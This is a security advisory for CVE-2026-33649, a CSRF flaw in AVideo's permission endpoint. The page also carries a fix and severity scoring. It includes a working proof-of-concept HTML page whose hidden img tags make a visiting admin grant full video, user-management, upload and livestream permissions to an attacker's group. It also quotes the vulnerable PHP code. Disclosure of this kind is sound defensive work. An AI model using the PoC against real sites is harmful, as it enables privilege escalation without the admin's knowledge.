Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-g8x9-7mgh-7cvj
Advisory ID github_osv/GHSA-g8x9-7mgh-7cvj
Aliases CVE-2026-33649
Summary AVideo's GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification ## Summary The `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access. ## Details The root cause is a combination of three issues: **1. `$_REQUEST` used instead of `$_POST` (accepts GET parameters):** `plugin/Permissions/setPermission.json.php:14-24`: ```php $intvalList = array('users_groups_id','plugins_id','type','isEnabled'); foreach ($intvalList as $value) { if($_REQUEST[$value]==='true'){ $_REQUEST[$value] = 1; }else{ $_REQUEST[$value] = intval($_REQUEST[$value]); } } $obj = new stdClass(); $obj->id = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']); ``` The only authorization check is `User::isAdmin()` at line 10 — there is no CSRF token validation via `isGlobalTokenValid()`. **2. Session cookies set to `SameSite=None`:** `objects/include_config.php:134-141`: ```php if ($isHTTPS) { // SameSite=None is intentional: AVideo supports cross-origin iframe embedding ini_set('session.cookie_samesite', 'None'); ini_set('session.cookie_secure', '1'); } ``` This means the admin's session cookie is sent on cross-origin requests, including those initiated by `<img src="...">` tags on attacker-controlled pages. **3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:** The comment at `include_config.php:137-138` states: *"All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)."* Other endpoints like `saveSort.json.php` and `pluginImport.json.php` enforce `isGlobalTokenValid()`, but `setPermission.json.php` does not. **Execution flow:** 1. Attacker hosts a page containing `<img src="https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true">` 2. Admin visits the page (e.g., via link in forum, email, or embedded content) 3. Browser issues GET request with the admin's `SameSite=None` session cookie 4. `User::isAdmin()` passes because the request carries the admin's session 5. `Permissions::setPermission()` grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2 6. Any user in group 2 (including the attacker) now has full video admin access The `users_groups_id` values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated. ## PoC **Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):** ```html <!DOCTYPE html> <html> <head><title>Interesting Video</title></head> <body> <h1>Check out this video!</h1> <!-- Each img tag silently fires a GET request with admin's session cookie --> <!-- PERMISSION_FULLACCESSVIDEOS (type=10) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'> <!-- PERMISSION_USERS (type=20) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'> <!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=70&isEnabled=true' style='display:none'> <!-- PERMISSION_CAN_LIVESTREAM (type=80) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=80&isEnabled=true' style='display:none'> </body> </html> ``` **Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)** **Step 3: When the admin loads the page, all four `<img>` tags fire simultaneously.** Expected response for each request (visible in browser dev tools): ```json {"id":"1"} ``` **Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.** ## Impact - **Privilege escalation:** A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page. - **No JavaScript required:** The attack uses only `<img>` tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.). - **Zero interaction beyond page load:** Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders. - **Chaining:** Multiple permissions can be granted simultaneously by embedding multiple `<img>` tags. An attacker can grant their group all available permission types in a single page load. - **Blast radius:** All users in the targeted group receive the escalated permissions, not just the attacker. ## Recommended Fix In `plugin/Permissions/setPermission.json.php`, change `$_REQUEST` to `$_POST` and add CSRF token validation: ```php <?php header('Content-Type: application/json'); if (!isset($global['systemRootPath'])) { $configFile = '../../videos/configuration.php'; if (file_exists($configFile)) { require_once $configFile; } } if(!User::isAdmin()){ forbiddenPage("Not admin"); } // Enforce POST method and CSRF token if ($_SERVER['REQUEST_METHOD'] !== 'POST') { die(json_encode(array('error' => 'POST method required'))); } if (!isGlobalTokenValid()) { die(json_encode(array('error' => 'Invalid CSRF token'))); } $intvalList = array('users_groups_id','plugins_id','type','isEnabled'); foreach ($intvalList as $value) { if($_POST[$value]==='true'){ $_POST[$value] = 1; }else{ $_POST[$value] = intval($_POST[$value]); } } $obj = new stdClass(); $obj->id = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']); die(json_encode($obj)); ``` The AJAX call in `getPermissionsFromPlugin.html.php:84-92` already uses `type: 'post'` but must also send the `globalToken` parameter in its data payload.
Status Published
Exploitability 0.5
Weighted Severity 7.3
Risk 3.6
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-g8x9-7mgh-7cvj/GHSA-g8x9-7mgh-7cvj.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-24T14:54:46Z/

Decision: Track*

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/33xxx/CVE-2026-33649.json

Source Advisory: vulnrichment/CVE-2026-33649

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'no'},
 {'Technical Impact': 'total'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]